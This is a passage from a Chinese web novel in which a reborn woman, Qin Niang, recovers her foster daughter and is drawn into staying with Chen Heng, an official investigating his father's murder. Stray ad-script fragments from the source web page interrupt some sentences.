“若不是你,故意隐瞒,我们会拿了地去卖?”秦馠睥睨道,“当时若换了你,你敢说你就不会把我推出去顶罪?人性如此!就如现在,沈家那两位爷应该正在互相指责、揭露……亲兄弟尚且如此……” 秦娘自知自己也不是什么大善圣人,可她依旧不认为这就是对的:“若我是沈鱼,出狱后绝无脸面再来见你!” “若不是手握沈家把柄,沈鱼他还出不来呢!”秦馠得意笑道,“你当那沈家是什么好地方,那两位爷当年做的事,可没背着沈鱼他爹!” 原来当年沈家长房沈言律在京娶了陈氏女,后到外地任职,期间置下不少家业。 陈氏因怀孕生子,一个人独留在沈家。 那年沈言律任期已满,回家探亲,欲带妻儿一起回京任职,便打算变卖之前置下的田产庄子。 此举遭到了沈家其他人的反对,皆认为这些田产庄子可留下,交由二房三房代替打理。 沈言律与陈氏商量一番,觉得京中任职需多方结交,少不了银子打底,也就婉拒了沈家其他人的提议。 谁知二房沈言庆于酒后撺掇弟弟沈言礼,他早知对方垂涎大嫂美貌已久,出主意若大嫂清白被毁,便可拿捏她劝住沈言律。 两人深知大嫂陈氏性子懦弱,若真失了清白,定不敢往外说。 于是沈言礼趁酒醉壮胆,摸黑进了陈氏房内。 不料那日陈氏外出赴宴,回来的有些晚,房内躺着的正是自己丈夫沈言律。 被沈言礼一把抱住,又听了他满嘴胡言乱语的叫嫂嫂,沈言律气的一把反抱住弟弟,对他又打又骂。 沈言礼吓得酒醒了大半,摸起手边东西朝大哥头上“咣咣”砸了几下。 那日也是巧了,沈言律新得了一方砚台,拿手里观赏了半日,便躺在床上睡了,砚台被他放在床边小几上。 而沈言礼随手摸到的正是这方砚台。 待身下之人没了动静,他才停下动作,愣愣的叫了声“大哥”。 沈言律已一动不动,额上被砸了个深坑,血汩汩而流。 他心头大乱,忙叫了沈言庆,安排了几个信任的家丁,将人抬进了柴房。 而这几个家丁里,就有沈鱼的父亲。 沈言庆见事已至此,心生毒计,一把火烧了柴房,将人烧成了木炭。 陈氏回家见丈夫被烧死,只顾得悲痛,哪还能多想多少。 只是沈老夫人曾怀疑是有人纵火,却也抓不住实据,只得打杀了几个家奴泄愤。 等白事一过,两房女眷便挑拨起老夫人和大房寡妇,一会儿说陈氏克夫,一会儿又说沈言律常年在外,陈氏早有相好,设计放火害了丈夫。 陈氏每日被婆母教训折磨,最后只想快点离了沈家,其余的钱财什么的一概不再奢求。 只有陈衡,小小年纪却察觉出一些不对,在长大的日子里他不停询问母亲当年那些事,渐渐发现了端倪。 前些日子沈鱼被抓,在狱中意外得知陈衡来江城的目的,将此事告诉了出狱后来探监的秦馠,让她去找陈衡,以此事作为交换将他救出。 当秦娘一点一点的接近真相,身上却觉得发冷。 从那块地开始,陈衡就在一步步诱人进入圈套,先是将沈鱼抓了,再逼他说出沈家的秘密。 他当初接近自己…… 她顾不上多想,扯着秦馠的袖子急问:“你师父呢?他不是常去给娇娇上课,一定知道娇娇如今在何处!” 秦馠猛地退后,将袖子从她手里扯出:“还记挂着她呢!怎么,想用她换你日后的富贵?可惜,沈家大公子已经把她护起来了,要亲自送去侯府呢!” “她虽不是你亲妹,却也和你相处多年!”秦娘哀求道,“让我见见她,只要她一切都好……” 秦馠居高临下的望着她:“也罢,后寺巷,就让你去看一眼。” 她心里已有了计谋,若秦娘把人带走…… 秦娘得了地址,匆匆赶往后寺巷。 后寺巷在城南一角落,紧挨着城墙内一座小寺,十分偏僻。 她跑得大汗淋漓,进入巷中便听到一片欢声笑语。 是娇娇的笑声,如银铃般,在这偏僻一隅格外清晰。 秦娘循着笑声来到一处院子,重重叩响门环。 “娇娇!娘来了!快,快开门!” 院子里的声音戛然而止,很快便有人来开了门。 “娘!”娇娇跑了过来,“你怎么这时候来了?爹说你有要事,过几日才能来看我!” 秦娘往院子里看去,里边有四个年纪相仿的小丫鬟,两个面庞清俊的小厮,都 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是她没见过的陌生面孔。 她紧紧抓住娇娇两只胳膊:“娘马上带你走!” “发生什么事了?”娇娇皱眉问道。 几个丫鬟小厮立刻围了上来,向她见了礼,道:“娘子不必惊慌,我们都是陈公子前几日买来的,专看照小姐。” “迎春呢?”秦娘不见熟人,心中更是恐慌。 娇娇撇了撇嘴:“爹说她要害娘,所以她死了。” 秦娘听了这话,如坠冰窟。 活生生的一个人,如此便死了?到底是谁要害她,若没了陈衡发话,迎春一个丫鬟,能做主害她? 她自是不信。 “他不是你爹!”秦娘严厉道,“快,跟我走!” “不要!”娇娇挣扎着身体,“我还要在此等师父!昨日授课的琴曲,我还没练!还有爹晚一会儿回来,要查我的字呢!” 一旁小丫鬟笑道:“娘子莫慌!小姐在此养的是极好的!陈公子不止请了琴师,还约了位教写字的先生,明日要来试课呢!” 秦娘的手渐松。 冷静下来想想,也许的确如秦馠所说,娇娇不会被伤害。 他要拿娇娇换他的前程! 如此一来……她环顾四周,目光从几个下人身上一一扫过:今日自己又出现的事,自己没死的事,恐又会被陈衡所知。 她思索了一番,站起身来,对几人吩咐:“能否请各位暂避,我们娘俩有些体己话要说。” 几人颇为规矩,立刻让出一条道,让秦娘进来。 待秦娘进了院子,几人又退出院门:“我们在门口等娘子和小姐。” 也不知陈衡在哪里找来的这些下人,和之前那几个不太守规矩的天壤之别。 秦娘压下心中好奇,将娇娇带至室内。 “娇娇,娘准备离开这儿。”她半蹲下来,看着娇娇的眼睛,郑重道,“娘私下存了不少银子,想早日带你上京寻亲,你可愿意?” 娇娇点了点头,又不舍的看看周围,摇了摇头。 “娘,我害怕,京城那么远,若是我的家人不愿认我,该怎么办?”她咬了咬下唇,“其实爹待我们挺好,不如……” “不成!”秦娘打断了她,又怕告诉她真相吓到她,只得哄道,“爹在此有很重要的事情做,我们跟着他只会连累他。” 娇娇只好应下。 “今日有些仓促,我跟你说的话你千万别告诉任何人,包括你爹。”秦娘交代,“明日我准备一下,等你爹出门我就来接你,到时且找个由头,就说你东西落在绣坊了,我带你去取一趟。” 安排完一切,趁陈衡未归,她便告辞了。 自己还活着的消息,他迟早要知道,此事必须快,要在沈家官司结束前,陈衡无暇顾及自己时,逃之夭夭。 于是秦娘到钱庄取了些银票,又买了些干粮及路上防身的刀具,在城中找了个不起眼的小客栈住下。 待到夕阳西下,街上逐渐热闹起来。 从府衙看热闹的人纷纷回来,四处闲聊起今日的事来。 陈衡从府衙后门出去,朝引路的衙役打听:“听闻近日牢里放了位姑娘,小兄弟可有印象?” “是有一位,中了毒,被崔郎中救了,还在验尸房住了几天。” “中毒?”陈衡皱眉,“她还在吗?可否通传?” 衙役摇了摇头。 他还以为迎春只是未经自己允许探了监,却没想到竟是下毒! 24. 放了娘子 陈衡派人在城内寻了一遍,直到夜深了,也没将人找到。 他回了后寺巷的院子,又听下人们说今日秦娘来过,更是拧紧眉头。 人呢?既然出来了,为何不来寻他? 他很快猜出其中关键:迎春下毒,任谁都会以为和自己脱不了干系。 而此刻秦娘却在客栈点了自己平日里不舍得吃的菜品,大快朵颐了一番。 有钱的感觉不错。 接下来,她不能坐吃山空,虽说二百金足够她花一辈子,可万一将来娇娇回了家,自己又重新生活、重新嫁人了呢? 万一再和恩爱相公生个一儿半女的…… 不行,这钱还得生钱。 她摇了摇已喝的不太清醒的头,回了房间倒头大睡。 第二日要做大事,秦娘自然不敢耽搁,早早醒了。 她带上包袱,悄悄来到巷子里,躲在一处荒废已久的院墙内张望。 陈衡的马车还在院子门口,他人一定未出门。 就这样等了半日,等来了商徵和教书先生,也没见那马车挪动一步。 看来今日事情有可能不成。 正想着,身后响起了一道尖利的哨声。 她吓的一哆嗦,往后一瞧,一个男子正坐在墙头看着自己。 他一身利落暗红色短打,方脸圆眼,双手抱臂,道:“小娘子,你在这儿做什么?偷看我家院子?” 秦娘见是陌生人,顿时没好气道:“少管闲事!” 说罢便转头继续盯着马车。 那男子一个飞跃从墙头跳了下来,抓住秦娘的脖领轻松将人拎了起来。 “我家主人说了,要你去见他。” 也不顾秦娘挣扎,他三两步走到院门口,一脚将大门踹开,把人往地上一扔。 秦娘捂着后背叫了起来。 “公子!你要的人!”那人拍了拍手上的灰尘,大咧咧往椅子上一靠,看起热闹来。 这又是谁?秦娘从未见过。仿佛一夜之间,陈衡身边的人全都换了一个遍。 听到有脚步声,秦娘忙站了起来。 陈衡从里边走出来,他今日未打算出门,只穿了件白绸绵袍,袖子随走路带起的风一甩一甩。 秦娘唇色煞白。 被他抓到,人为刀俎我为鱼肉。 “阿瑶。”陈衡轻轻喊了声,垂眸问道,“何时出来,怎不来相告?” “就是,好歹我家公子是你名义上的夫君。”坐在椅子上的那人敲着二郎腿,打抱不平道。 “刀剑!”陈衡冷冷瞥了他一眼。 秦娘攒紧手里的包袱,拼命让自己冷静。 “公子,我今日来就是来恭喜公子,沈家的事……恭喜公子得偿所愿。”她奉上一枚假笑。 陈衡抬眼看了看她:“你倒消息灵通,在府衙的验尸房中,没少听人议论案情吧。” “是、是。”秦娘弯腰鞠躬,“既然公子的事已经解决了,我们交易达成,好聚好散。” “哦?”陈衡背手望着不远处的院墙外,若有所思,“虽我那两个叔父死罪难逃,然沈家还有老夫人坐镇,交易如何达成了?” 这回轮到秦娘沉下了脸。 对方摆明是要耍赖了。 反正今日不能逃离虎口,她索性厉害了起来,直起身子道:“沈家两位爷都被抓了,你还愁那些女眷把着财不还你?只怕她们一想到将来全要靠你这位沈家嫡出长孙,此刻恨不得把全部私藏都给了你!” “咦,你这小娘子是个不傻的!”刀剑放下二郎腿,坐直了起来,拍手叫好,“猜的不错!他就是不想放你走!” “闭嘴!滚回去!”陈衡骂道。 秦娘的手不由自主的颤了起来,不想放人走,难道今日她就要殒命于此了? 她只顾着胡乱猜着,却没见陈衡的耳尖微微红了。 她闭了闭眼睛,彻底死了心,扑通跪下。 “公子!看在我为您出谋划策,到沈家出生入死的份上,看在您事成的份上!饶了我!”她惊恐道,眸子里充满泪水,“我保证今日出了这个门,绝不透露半句有关公子的事!” 见陈衡无动于衷,她又指天发誓:“若违此誓……让我往后一生嫁不出去,当一辈子寡妇!” 反正上一世就没嫁出去,她暗暗想。 刀剑没忍住,捂着嘴憋笑跑了。 陈衡却笑不出来:“你当真要走?” 秦娘忙不迭点头。 “就算我没动过杀心,你也要走?”他冷冷问。 秦娘面上诚恳,内心却冷笑,当她是傻子? 陈衡摆了摆手:“你走吧!” 秦娘听他如此轻易的放了自己,不禁怔了怔。 随即便立即磕头致谢,并指了指屋内:“我女儿还在里边。” “得寸进尺!”他甩了袖子,转身就要走。 秦娘忙扑了上去,拉住他的袖子:“娘在哪儿,女儿在哪儿!娇娇也是愿意跟我走的!” “她又不是你亲生!”陈衡使劲挣脱。 秦娘见他不允,一时情急脱口而出:“别以为我不知道你留着她想做什么!” 陈衡不动了。 他突然转过身来,掐住秦娘的下巴,眸中似寒刀四起:“我想做什么?” 秦娘盯着他,一字一句道:“你要拿她,换你的前程!” 陈衡愣了一下。 片刻,他突然松手:“阿摇对我误会颇深!我,还用不着拿她的身世去换前程!” 他解下腰间一块玉牌,递到秦娘面前。 那玉牌通身白润,上方镶着金子雕刻成繁杂的纹路,牌子上刻着一个极复杂的字。 见秦娘看愣了眼,陈衡将牌子收回。 “我还没向阿瑶说过,我来江城的目的吧!”他缓缓道。 然而秦娘却想捂上耳朵,知道的越多死的越快。 “公子的目的不就是要查清当年父亲去世的真相,把沈家欠的都拿回来?”她故意问。 其实陈衡每每出去办事,她大概猜到对方有别的更大的事要办。 只是如今还是装傻为好。 陈衡居高临下的看着还跪在地上的她:“我奉东宫之命,来查皇子私养占地之事。” 秦娘的头“嗡”的一声,大了。 此事牵扯朝堂,不是她一介妇人能听的。 “我乃太子詹事。”他低头垂眸,嘴角扯出一丝笑,“阿瑶你说,我用得着拿侯府一个弃女,去换前程么?” 秦娘松开他的袖子。 陈衡见她呆愣,不禁叹了口气,道:“左家女儿,你带走吧!” 说罢便转身回了室 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 内。 秦娘仿佛在做梦般,过了好一会儿才悠悠转醒。 她好像猜错了。 这么大的秘密说了出来,他都肯放她走,这等大人物会为了一个小小的沈家那不足为外人道的事,杀了她吗? 娇娇收拾好东西,乖乖的走了出来。 “娘,我们走吧。”她声音懦懦的,似乎刚流过泪。 秦娘站起来,朝室内躬身一拜,才拉起娇娇走。 出了院子,她又回头深深望了一眼。 此事已了。 她在心中暗道,从此以后,她和这人再无瓜葛。 * 两人走在街上,都有些沉默。 娇娇问了些什么,说了些什么,秦娘一句也没听进去。 正走着,忽又见人群往同一个方向涌去。 “那边琴馆今日琴娘们考核!我们去看看!就当到酒楼听曲了!”几人吆喝着,唤来朋友一起。 娇娇扯了扯秦娘的袖子:“那方向不是大姐和师父的琴馆吗?我们去瞧瞧?” 如今既然不会被追杀,秦娘也放下心来,不再急着出城赶路,便答应了。 果不其然,琴馆被人群围了里三层外三层,而二楼回廊,正坐着一个个琴娘。 有人已是熟手,抱着琵琶毫不怯场,有人却紧张的手尖冒汗,不停的在裙摆上擦一下。 秦馠坐在上边,一眼便瞧见了前来看热闹的秦娘和娇娇。 她有些得意,想着待会儿两人就能听到她熟练的弹奏,想着娇娇曾拥有的一切如今全是她的,不由得嘴角上翘。 秦娘在人群中抬头,正看到她露出得意表情。 她突然想到,秦馠一直想取代娇娇,不止琴技…… 秦娘下意识的弯下腰去,往娇娇脖子上看去。 那白皙的脖子上并无熟悉的红绳。 她大惊:“娇娇,你的玉呢!” 娇娇往领口一摸,顿时怔住了。 “你记不记得玉是何时不见的?秦馠她近些日子有没有和你见过面?”她连连问。 娇娇急道:“我想起来了!大姐曾去过后寺巷的院子!” 秦娘抬头看了眼秦馠,拽着她拨开人群,闯进琴馆。 是秦馠拿走了? 琴馆里的人被吓了一跳,纷纷出来拦她。 秦娘被拦了上楼的去路,只得求助:“麻烦各位,我们找秦馠有事,请通传一声,让她下来。” “什么事也要等结束了再说。”有人不满道。 “那麻烦这位妹妹,上去问她一句,玉在不在她那儿?” 众人见她一副不解决此事不罢休的样子,便派了个小丫头上去。 秦馠正调弦拨琴,听了此话,笑出声来:“哈哈,玉丢了?她把玉弄丢了?真是人算不如天算!” 二楼与一楼本就不隔音,这话秦娘自然听到了。 小丫头下楼,对秦娘摇了摇头。 娇娇也有些慌乱:“许是我昨晚洗澡时,落在那儿了!” 秦娘略想了想,突然醒悟:难道是陈衡假意放她们走? 若是玉在他手里,她定会回去求他! 想到此,秦娘也顾不得听曲,带着娇娇折身返回…… 看两人走了,秦馠竟有一丝失落,只觉得无人听她炫耀这一身琴技了。 25. 娘子回归 秦娘又重新回到了后寺巷。 这次她无暇观察巷子里各种动静,领着娇娇径直走了进去。 还好,马车依旧在原位,想必里边那位已等候自己归来多时了。 秦娘伸手去摸门上的门环,不料轻轻一推,门便开了。 院子里那些丫鬟小厮见到两人,更是毫无惊讶之情,顺道停了手中的活儿,站成两排,齐齐道:“娘子和小姐回来了!” 更有一年纪稍长的小厮,引着秦娘进屋:“公子正等着呢。” 秦娘心一横,拉着娇娇径直走了进去。 “来了?” 她脚刚踏过乌漆色门槛,不远处便传来这一声。 不急不徐,似胸有成竹。 秦娘慌忙跪拜行礼,不敢抬头,只用余光撇到那金丝暗团花纹的衣角,随意搭落在低矮的书案榻脚前。 室内一缕木质幽香,倒叫人很快沉静下来。 娇娇毫不避讳,脱了秦娘的手,便跳了过去:“爹爹,你案上那块玉可是我的呢!” 秦娘猛地抬头。 果然在他这儿。 只见陈衡将那块白玉拿起,攥在手中,来回摩挲。 不过片刻,他便将玉递给了娇娇。 娇娇拿了玉,高兴的跑到一旁玩赏了起来。 秦娘松了一口气。 “阿瑶回来的好。”陈衡似笑非笑,盯着她道,“既然回来了,你我夫妻一体,自是不必再说离去之言。” 秦娘刚软下去的身子,霎时又僵直起来。 “公子,我这记性,竟把玉落下了。”她硬着头皮,堆上了一个笑容,“既然已经寻到,我们就不过多叨扰了。” 此时翻脸,不是明智之举,既然已到手了,不如好聚好散。 她此时只当是娇娇真的不小心,将玉落下,看他还的如此利落,便收回了之前那些他是故意的猜想。 许是自己自作多情了。 陈衡饶有兴致的看了她一会儿,突然身子从靠着的椅背上,坐直了起来。 “不瞒阿瑶,我是故意的。”他身体前倾,似是对下方跪拜之人生了极大的兴趣,“我故意将这块玉藏了,引你回来。” “为何!”秦娘满脸震惊,质问道。 陈衡挑眉,将案几上一折文书举起,扔给了她:“阿瑶好像忘了,我们是夫妻,有官府背书的。” 秦娘缓缓捡起婚书,打开来。 这本和她在狱中收到的那本完全一样,白纸黑字,左下角角落还盖有暗红色印章。 她冷哼道:“公子是想让我去官府告你伪造文书?那另一册染了毒的婚书,还在府衙作为证物留着呢!” “难道阿瑶以为,我想要一纸婚书还用的着作假?”陈衡丝毫不慌,“这婚书本是你我各执一册,我那手下婢子不听话,竟私下做主去送婚书毒害你,如今人我已送至府衙结案,阿瑶可以放心。” “只怕你送去的是一具尸体吧!”秦娘嘲讽道,“杀人灭口!” 她自是知道此事恐怕真如陈衡辩解的那般,是迎春自己所为,可为了尽快脱身,她不得不指责起来。 “来人!”陈衡沉声喝道,又转向秦娘,“想必娘子也瞧见了,我身边的人已换了七七八八,之前那些自是来路有问题,以阿瑶这般聪慧,还看不出来?” 外头的小厮丫鬟一贯而入,站在秦娘身后,齐齐喊了声“夫人”。 之前领头的小厮为她引荐:“小的叫予安,是打小跟在公子身边的,前段日子替公子出门办事,这几日才回来。夫人以后有事尽管吩咐小的。” 随即他又带秦娘认了几个丫鬟,分别是玉蕊、绿华、莹秋、雪香,道:“这几位今后就是夫人的贴身婢女,负责照顾您和小姐。” 待认完了,他挥了挥手,几人规矩的行礼退下。 秦娘自此才明白,自己大抵是走不了了。 她横眉道:“公子留下我,想做什么可直说。” 陈衡那纤长的手指叩了叩乌黑的案几。 那手骨节分明,几缕阳光从他身后窗孔中照进来,照在手上,趁的十指白皙如润玉。 听着他一下一下的叩响,秦娘的心已是乱的乌七八糟了。 “若我说,留下阿瑶只是因为我想,阿瑶信吗?”他斟酌了一下,随即抬起眼眸。 秦瑶是个有自知之明的人。 她活了两世,如今算来身子里已是加起来过了古稀的老婆子,对男子早已祛了想法。 就算自己打扮一番也是风韵犹存,她也不会相信对方会对自己产生别样的情感。 男子天生做事,又怎会将情爱放在心里。 何况两人相处才几月有余。 不过她此刻也只能装傻的笑笑:“不是我不识公子抬爱,只是我一乡野妇道人家,怕跟在公子身边,坏了大事。” “那又如何?”陈衡起身,低头理了理衣袍,缓缓下了榻,走到她面前,“我既娶了夫人,自不会让夫人受委屈,阿瑶只管听我的,一切有为夫!” 他言之凿凿,在她头顶盘旋,一种压迫感让秦娘无法开口拒绝。 “况且……”头顶沉声传来,“阿瑶不是想替左家寻亲?待我在此处的事成了,可带你们入京,引荐给侯府,如何?” 这话倒令秦娘心动。 她一个人人生地不熟的,到了侯府门口能被门房当要饭的撵走。 若有京官引荐…… 正犹豫着,一旁的娇娇学着陈衡的样子,缓缓抬眸瞥了一眼,严肃道:“娘就应了吧!” 秦娘瞪了她一眼,遂又低头顺从道:“是。” …… 待两人前去收拾包袱,躲在书架后一直未出声的刀剑,才堪堪走了出来。 见陈衡立在原地,若有所思的看着门外,他凑上前去,好奇道:“你不会真看上她了吧?” 陈衡闻言收回目光,瞪了他一眼。 “那你留她作甚?”他不解道,“我看她就是一乡野村妇,于你又没什么大用。还有,你的婚事你自己能做主?东宫还指望你能娶个助力,说不定早在背后把你的婚事安排了。” 陈衡转身回到书案旁,将一封密信递给他。 “我前段时日着人查金氏。”他紧皱眉头,“金氏举家迁来江城了。” 刀剑看了看密信,不解问:“这和那小娘子又有何干?” “是她告知我,金氏要来江城。”他道。 刀剑撇了撇嘴,将那封信扔进火盆烧了:“她是金氏的人?” 陈衡摇了摇头:“如你所见,她就是一个乡野……姑娘。” “那她如何得知?你别告诉我,她会未卜先知。”刀剑一脸不信。 陈衡面色凝重,点了下头。 记得初见时,她说她会未卜先知,他自然不信。 虽说当时试探了一二,可他只当是对方心思缜密,善于观察,由此推测而出。 可此次…… “是得留她……”刀剑双手抱臂,学着他的样子遥望门外 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,若有所思,“说什么也得留下她……” * 既然被迫留下,秦娘只好安下心。 虽现在还猜不出对方目的,所幸她并无性命之忧。 只是她要继续她的想法,离了沈家那一团乱糟糟的事情后,她也该为自己打算一番。 上一世秦馠是如何将绣坊开起来的,她十分清楚。 人都说“隔行如隔山”,她本打算从她熟悉的做起,可如今时机却不对。 黄氏布庄还未出事,绣坊的几个绣娘也未遇到困难,当初租下的小楼此刻正是得月酒楼,虽位置有些偏,生意不怎么好,但酒楼东家还能撑三年。 她抬头看了看窗外的天。 前些日子的雷雨她还记得,上一世的此时雷雨过后又连下了几场雨,虽都是小雨绵绵,天却来了倒春寒。 到那时干柴全部售空,一柴难求! 虽然倒春寒会很快过去,但存些干柴还是能赚上一笔! 想到这儿,她便准备上街瞧瞧,找个适合存放干柴的地方租下。 几个小丫鬟已经手脚麻利的帮她和娇娇收拾妥当。 她道:“今日你已无课业,娘要上街办事,你可要跟去?” 娇娇点头,她想起之前爹交代过她,跟着娘,看看娘每日都做些什么,好报给他,以保娘的安全。 出了房门,正巧遇上陈衡也要出门,后边还跟着刀剑。 秦娘跟见鬼了似的盯着刀剑:“你何时来的?不会之前一直在屋内吧?” 刀剑讪讪地笑道:“我这一身功夫,来无影去无踪的。你当然不知我何时来何时走。” 倒是陈衡见秦娘收拾了一番,脱下了之前穿的粗旧衣衫,擦掉了脸上乔装的灰土,乌发疏地高耸,还专簪上了他送的流钗。 他一时觉得这清净的院子多了几分颜色,令人心悦。 “阿瑶这是出门?”他问。 秦瑶点头:“往后闲来无事,我想给自己找些营生。” 陈衡吩咐小厮予安:“把马车套好,送夫人去。” 又叫了那四个丫鬟,吩咐她们紧跟在秦娘身后。 刀剑不满道:“她坐马车,我们怎么办?” 秦娘忙侧身福道:“我一介妇人,我的事不及公子的重要,马车还是留给公子。” 陈衡瞥了一眼刀剑:“你去,再买辆马车,以后我和夫人各一辆。” “为何要各一辆?你们俩索性坐一辆不就好了?”刀剑摸了摸钱袋,“我们的钱所剩不多了,你省着点吧,到时连回京的盘缠都拿不出来,看你怎么回!” 秦娘忙道:“公子是入仕之人,不懂生意正常,那沈家留下的东西也被糟蹋的差不多了,是该省着点。” “听起来,阿瑶会赚钱?”他问。 “妇人不才。”秦娘低头,不好意思道,“我也没做过,但我自小混迹街市,因此这回想稍作尝试。” 说话间,几人已走至马车旁。 车夫已将马车套好。 陈衡先上了去,自然的伸出那双玉手,递到秦娘面前。 秦娘脸微微一红,却也并未扭捏,像往日一样将手放在他手心,上了马车。 小厮予安也将娇娇抱上了马车,刀剑欲上去,却被予安拦了下来。 “你我就安心跟着。”他道。 “凭什么!”刀剑不服。 予安将四个丫鬟排好在马车两侧,不屑道:“城中马儿又跑不快,你跟着走走,又不会少块肉!” 26. 娘子善妒 马车行至闹市,秦娘掀开窗帘,将空着的店面一一记下。 到了粮铺,掌柜站在门口翘首以盼,不等马车停好,慌张上前道:“公子,昨日又无人来买粮,虽说您这铺子是自家的,不用付租金,可只人工……一日就要赔进去不少!再撑下去只怕是……只怕是要闭店!” “闭店?”刀剑在一旁惊呼道,“我说陈公子,你是白替上头那位办事,没钱怎么能与地头蛇抗衡?要不你厚着脸皮去信一封,要点钱。” 一提起此,秦娘眼见陈衡的眸光暗了暗,不多说便下了马车。 如今销路打不开,只靠自家田庄又收不来多少粮。 江城是个小地方,整个城连起来没有哪家不认识哪家的,沈家虽然倒了,可这些人们依旧习惯排挤后来的商户。 秦娘带着娇娇下了马车,掌柜的见了又一阵寒暄。 她突然想起粮铺后那几间空房,放干柴是十分合适的,何不借来一用? “等等。”她三两步追上陈衡和掌柜,道,“我有一计,可暂解你们燃眉之急。” 掌柜只当听了个笑话,碍于陈衡饶有兴致的回头,他只得问:“不知夫人有何办法,在下可参谋一二。” 秦娘指了指后院那一排空屋,道:“我想租下那几间房,租价按市价。” 陈衡挑眉:“不知阿瑶意欲何为?” 秦娘腼腆一笑,诌起了胡话:“我看这天不好,若这几日下了雨,干柴一定少不了大卖一笔。” 掌柜匆匆走到门口,抬头往外看了看天,转身嘲笑道:“这天好的很!再说若真下了雨,如今已是春日,也冷不到哪儿去!柴火供不应求的冬日早过去了!” “掌柜信也好,不信也罢,把后边空房租给我,您能收个租,我赔了也与您毫无干系。”秦娘面色淡淡的,“如此大家各位所图,岂不正好?” 掌柜察觉自己一时失言,忙道:“是个好主意!” 屋内几人将目光投向陈衡,只见他低头垂眸,也不知在想些什么。 刀剑拿胳膊碰了碰他,道:“这好主意,我们又不赔,有什么可犹豫的?” 陈衡思索片刻,抬头间已眼神坚定:“租金倒不必了,阿瑶若赚了钱,可否分与铺子?” “租金免了?”刀剑听了越发不满,“你傻了?被美人迷了心窍?” 掌柜也道:“公子三思,就算她卖了柴,又能赚多少?就算五五分那点钱也不够租金啊!” 秦娘并不理会他们,只管承诺:“既然夫君慷慨,我也不是那小气之人,将来赚钱便三七分,我三你七。” 那两人的脸色终于好看了一点。 “也成吧,就算销路不好,还未入夏,勉强能卖出去,有个房租钱。”掌柜道。 解决了此事,秦娘便无其他事,只等这两日全城搜集干柴便可。 她和娇娇坐在一旁,托着腮百无聊赖,又听得几人商量沈家长房的田庄。 自从沈言庆和沈言礼被抓入狱,田庄就没了主心骨,管事的各凭本事纷纷出走,带走了不少庄稼人。 春日正是播种的时候,各大田庄人手不够,农户们早打听好了哪家大户的庄子给留的粮多,该过去的都过去了。 只留下几个懒汉,天天躺着度日。 对付几个懒汉,陈衡自然多的是手段,可没了种庄稼的人,他一时不知该如何。 他自小生在沈府,又借住外祖家多日,与底层这些人打交道他毫无头绪。 娇娇听了半晌,不免为他发急:“庄稼人想要什么,爹难道不知吗?他们无非想种完粮收完粮,多给自家留点口粮,除了能吃饱外,有余粮可以换钱,那是再好不过了。” 刀剑听了奇道:“你这小丫头,从哪儿知道这么多?” 陈衡也点头夸赞:“女儿自小被夫人教导的聪慧。” 掌柜的不明所以,以为这小姑娘是他亲生,也竖起拇指夸赞道:“小姐小小年纪,观察惊人,竟能体会到农户们的不易,一针见血,实属大材!” 娇娇捂着嘴,狡黠偷笑。 陈衡请秦娘一道:“不如我们一起去庄子瞧瞧?” 秦娘站起身来,已有了主意。 既然她村里的那些地,都归了“朝廷”,邻里们种田也留不下多少口粮,不如请他们到陈衡的庄子去干活,收入丰厚,又可帮陈衡诈一诈村里的地到底在谁手上。 这回予安只留下了年长一点的莹秋跟着,让其他人先回了。 庄子毕竟路程远一些,莹秋抱着娇娇一起上了马车,刀剑也挤了上来,予安则和马夫在车前。 一时车厢里有些挤,秦娘的整个身子几乎贴在了陈衡身上。 她低着头,死死盯着自己白色鞋尖上的那团暗纹,怕被人看到此刻的窘迫。 刀剑促狭的看着两人,道:“不是都老夫老妻了,美人儿还害羞呢?” 陈衡瞥了他一眼:“叫嫂嫂。” “我偏叫,阿——瑶——”他故意拉长声音,又道,“你可别被我们这陈公子骗了,他长得一副俊俏样子,整日里装模做样,其实他背地里早有相好,还好几个!都是京中贵女,将来要给他做正室夫人的。” 秦娘头也不抬,小声道:“关我何事。” 刀剑正对面坐着的娇娇,瞬间剜了他好几眼:“我爹只要我娘,你再胡说八道,小心我撕烂你的嘴!” 秦娘的脸从脖子红到耳尖。 陈衡看出她的窘迫,冷飕飕瞪了刀剑一眼:“休要胡说,你平日里调戏别的夫人我不管,在我娘子面前,闭嘴。” 刀剑只得悻悻地闭上嘴。 一时车厢里的空气有些凝结。 秦娘稳了稳心神,硬着头皮问道:“沈家的事已过两日,如何了?” “那日堂上本是私吞遗产嫁妆案,后牵扯出谋害亲兄,最终两案合一案,择日再审。”陈衡道。 秦娘斟酌了一下,提醒道:“小心姜氏。” “哼,什么氏来了都没用!”刀剑插话道,“若这小小的江城敢兴风作浪……陈家在京城,可直接递交状子到京兆府尹,到时一层层压下来……” “那便好。”秦娘放下心来。 如此沈家的事便与她没什么干系了。 几人闲聊着,很快出了城,到了庄子。 此处大片良田连绵,不止有沈家的,还有城中其他大户。 庄子里并不知道今日主人要来,不曾有人迎接。 陈衡吩咐马车停在庄外,众人步行进去查看,果然和掌柜说的一样,正值春种,庄子里的人寥寥无几,见几人过来,也不上前打招呼,只当是他们一家踏青游玩。 过了田垄,行至一处房屋,才见有个妇人带着个小娘子,正 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打下房檐处悬挂的穗子。 见一行人来,忙放下手里的活,在围裙上擦了擦,问道:“各位是?” 予安上前问:“这里管事的人呢?” 那妇人笑道:“我就是。” “你?”予安瞪大了眼睛,“你一个妇人,怎当得起这么大的庄子?” 那妇人收起笑容,白了他一眼:“妇人怎么了?那些男人能靠得住?还不是跑别家了!” 陈衡见状,召回予安,上前拱手问道:“敢问夫人如何称呼?在下正是这庄子的新主人。” 那妇人登时呆了呆,盯着陈衡看了片刻,眼圈竟红了。 “你、你是小公子!”她激动道,“我是叶娘子啊!小公子不记得我了吗?夫人临走前把我留下,托我守着庄子,待你长大回来!你果然回来了……呜呜,我没白等!” 陈衡想起,母亲身边曾有位陪嫁丫鬟,正是姓叶,因年岁渐大,母亲给寻了门姻缘,留在了江城。 叶娘子一把抓过身后的姑娘,推到陈衡面前:“这是我女儿,当初夫人说了,要将这丫头许给小公子做通房呢!” 事还没办,众人先被这个消息惊住了。 